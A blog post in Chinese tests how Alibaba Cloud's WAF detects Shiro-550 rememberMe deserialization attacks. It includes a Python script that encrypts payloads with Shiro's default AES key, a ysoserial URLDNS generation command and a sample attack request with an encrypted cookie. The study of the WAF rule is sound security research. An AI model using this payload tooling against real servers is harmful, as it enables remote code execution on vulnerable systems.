从shiro-550漏洞品阿里云waf规则引擎

问题背景

shiro-550漏洞利用时,payload在cookie中的rememberMe中,生成过程:原始payload->aes加密->base64编码。

也有人整理出常见的aes加密密钥 top100 来利用此漏洞。

如果要在waf中对这个漏洞利用做防护,我能想到的安全策略是:

  1. 根据cookie中的rememberMe的值是否过长、是否符合aes加密特征等 来拦截
  2. 先base64解码,然后aes解密,最后规则匹配原始payload

第二个方法存在两个问题:

  1. aes解密时密钥是啥?会把top100利用时的密钥全部覆盖?

  2. 这个方法想起来简单,但是实施起来并不简单。它需要规则引擎支持base64解码和aes解密,并且需要规则中能够很容易描述这个解码顺序。

    按照我的理解,waf和poc扫描的规则引擎类似,都支持规则描述文件和代码实现方式两种。如果waf规则引擎只支持规则描述文件的形式,不支持用代码来描述防护规则,那写这么一条规则我觉得还挺费劲的。

下面就是我验证阿里云waf是怎么拦截防护shiro-550漏洞的。

分析过程

测试payload使用下面脚本生成,其中key使用shiro-550默认key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#coding:utf-8
#Python2
import uuid
import base64
from Crypto.Cipher import AES


key = "kPH+bIxk5D2deZiIxcaaaA=="
BS = AES.block_size
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)


def pad(s): return s + ((BS - len(s) % BS)
* chr(BS - len(s) % BS)).encode()


def decrypt_shiro_payload(rememberMe):
"""
打印 java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar URLDNS "" 生成的payload
"""
# rememberMe = """x4xXLguUTO+o2zDz6PKJtR7VQfrG08LE5KTMlw3cViQACMqKZ34wqnB1PIYeWTyiLrx2Dp7Gw3cFHJzwBUdqJXnSWmG7/SC7EH6c6OgPNTCgiplznhs61pwsoFU6X9NTHZi+/xr2Jo3rh/TW1gPqK6y4UGW9nqT6UDFybJLqO4bb7DhNsMkVNB4sZ7SgE1ee4zhY591SECQEDDzkM0EHbc2drf92hgueAEK450IqjUI03s1hq838mziWdE7OtQPQ6CjldBKPrSZ0BNhOGP+epg5SrLpXAjj/iwLVCRFE0lIUFtNDc9m8h5JKg/SLwa/yNTWZ+5DAooRs4+/yy1Z6xIe7d+OunTmTMnNXACNthKd96Y8RA4q9TnnS4aV91HbMoo/Voy/v03expiCm2OBpv72oTUCtV9eoHBByXyUsBDUI9BtN1IfAwjkFYj6fa4w5nAuR4sgbBrVy1KYnbgVN1H3DZ5Lmt8tvz1uhxo+SIQLtJfqhY1NhW10bWNm3F+sSyG7xblEDVgBLWer7ayRwZlv7/LejK1NPsjVPd8MvBTHfBMShNaQmS7LRTQssGaxq"""

data = encryptor.decrypt(base64.b64decode(rememberMe))
print(data)
print(len(data))

def encrypt_shiro_payload(originalPayload):
"""
originalPayload 是 java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar URLDNS "http://xxx" 生成的payload

打印payload
"""
data = base64.b64encode(encryptor.encrypt(pad(originalPayload)))
print(data)


if __name__ == "__main__":
encrypt_shiro_payload("111111"*400)
  1. 测试攻击请求

    原始payload是利用ysoerial工具生成: java8 -jar scripts/third_party/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar URLDNS “”

    payload在cookie中的rememberMe中,生成过程:原始payload->aes加密→base64编码

    发送请求后,阿里云waf拦截

    1
    2
    3
    4
    5
    6
    GET / HTTP/1.1
    Host: xxxx.com
    User-Agent: curl/7.70.0
    Accept: */*
    Cookie: rememberMe=x4xXLguUTO+o2zDz6PKJtR7VQfrG08LE5KTMlw3cViQACMqKZ34wqnB1PIYeWTyiLrx2Dp7Gw3cFHJzwBUdqJXnSWmG7/SC7EH6c6OgPNTCgiplznhs61pwsoFU6X9NTHZi+/xr2Jo3rh/TW1gPqK6y4UGW9nqT6UDFybJLqO4bb7DhNsMkVNB4sZ7SgE1ee4zhY591SECQEDDzkM0EHbc2drf92hgueAEK450IqjUI03s1hq838mziWdE7OtQPQ6CjldBKPrSZ0BNhOGP+epg5SrLpXAjj/iwLVCRFE0lIUFtNDc9m8h5JKg/SLwa/yNTWZ+5DAooRs4+/yy1Z6xIe7d+OunTmTMnNXACNthKd96Y8RA4q9TnnS4aV91HbMoo/Voy/v03expiCm2OBpv72oTUCtV9eoHBByXyUsBDUI9BtN1IfAwjkFYj6fa4w5nAuR4sgbBrVy1KYnbgVN1H3DZ5Lmt8tvz1uhxo+SIQLtJfqhY1NhW10bWNm3F+sSyG7xblEDVgBLWer7ayRwZlv7/LejK1NPsjVPd8MvBTHfBMShNaQmS7LRTQssGaxp
    Connection: close
  2. 测试正常请求

    原始payload是 “111111”*400 ,不包含攻击特征。

    payload在cookie中的rememberMe中,生成过程:原始payload->aes加密->base64编码

    结论:正常请求阿里云waf未拦截

对比拦截和不拦截的情况,可以看出来阿里云waf防护防护规则逻辑:先对cookie中的rememberMe做base64解码,然后用默认key(kPH+bIxk5D2deZiIxcaaaA==”) 来做aes解密,最后规则匹配解密后的内容。

总结

还有一些测试在分析过程中没有写,这里直接写出结论:

  1. 阿里云waf仅尝试使用一个默认key来解密。(应该是性能考虑)
  2. 不能根据rememberMe的值过长来拦截,因为正常业务这个值也可能有500+个字节长度。

虽然不能完全防御shiro-100key扫描,但是阿里云waf这条规则还是挺细致的。从支持rsa解密这一点上感觉背后的规则引擎功能很丰富。